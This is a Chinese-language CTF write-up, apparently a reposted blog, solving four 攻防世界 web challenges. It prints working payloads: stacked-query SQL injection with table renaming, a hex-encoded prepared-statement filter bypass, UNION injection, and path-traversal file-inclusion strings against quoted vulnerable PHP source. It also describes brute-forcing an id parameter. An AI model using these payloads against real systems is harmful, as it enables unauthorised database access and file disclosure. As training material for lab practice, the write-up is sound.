攻防世界 4-8

  • 聊以自慰

supersqli

  • 首先尝试一下union注入
  • 发现union被过滤了
  • 想到了堆叠
  • 爆数据库
    payload:1';show databases;#
  • 爆表
    payload:1';show tables;#
  • 爆字段
    payload:1';show columns from words;#
    payload:1';show columns from 1919810931114514;#
  • 题目环境好像出了问题 第二个表的字段爆不出来
  • 通过 rename 先把 words 表改名为其他的表名。
  • 把 1919810931114514 表的名字改为 words 。
  • 给新 words 表添加新的列名 id 。
  • 将 flag 改名为 data
  • 1'; rename table words to word1; rename table `1919810931114514` to words; alert table words add id int unsigned not Null auto_increment primary key ; alert table words change flag data varchar(100); #
  • 输入1就能获取flag了
  • 第二种解法
  • 因为select被过滤了
  • 所以可以用16进制编码
  • 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
  • prepare…from…是预处理语句,会进行编码转换
  • execute用来执行由SQLPrepare创建的SQL语句
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
  • 第三种解法:做到升级版的题目再写

ics-06

  • 云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
  • 访问进去有个id
  • 直接用burpsuit进行id爆破
  • 我设置的数值是1-10000 其实 1-3000就够了

warmup

  • 我真正意义上的web入坑题
  • 自从做了这道题 我真正开始去学web安全了
  • 恨自己没能早点自知
  • F12查看源代码 访问source.php
  • 代码审计 贴一下代码
 <?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
    
    
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
    
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', "?")
            );
            if (in_array($_page, $whitelist)) {
    
    
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', "?")
            );
            if (in_array($_page, $whitelist)) {
    
    
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
    
    
        include $_REQUEST['file'];
        exit;
    } else {
    
    
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 
  • 审计一波吧
  • 首先要判断file是否为空、file是否为字符串、接着就是checkFile()函数的判定
  • 成功的话 就会包含file的值的这个文件
  • 审计一下checkFile()
  • 首先是个白名单 必须得上传file 在checkfile里面叫page
  • page不为空,是字符串,并且page必须在白名单内
  • 接着就是截取page第一个字母到?出现的位置
  • 这里就能给payload
  • ?file=hint.php?../../../../../ffffllllaaaagggg这是一个非预期
  • 不从非预期解题的话
  • php文件里进行了一次url解码,后台服务器进行了一次url解码
  • payload
  • ?file=hint.php%253F../../../../../ffffllllaaaagggg

NewsCenter

  • 随便输入一下 发现搜寻的时候 是按关键字
  • 搜索的内容有什么 返回的内容是什么
  • 感觉是个注入
  • 最终的payload
    1' union select 1,database(),fl4g from news.secret_table#

猜你喜欢

转载自blog.csdn.net/CyhDl666/article/details/114273156
4-8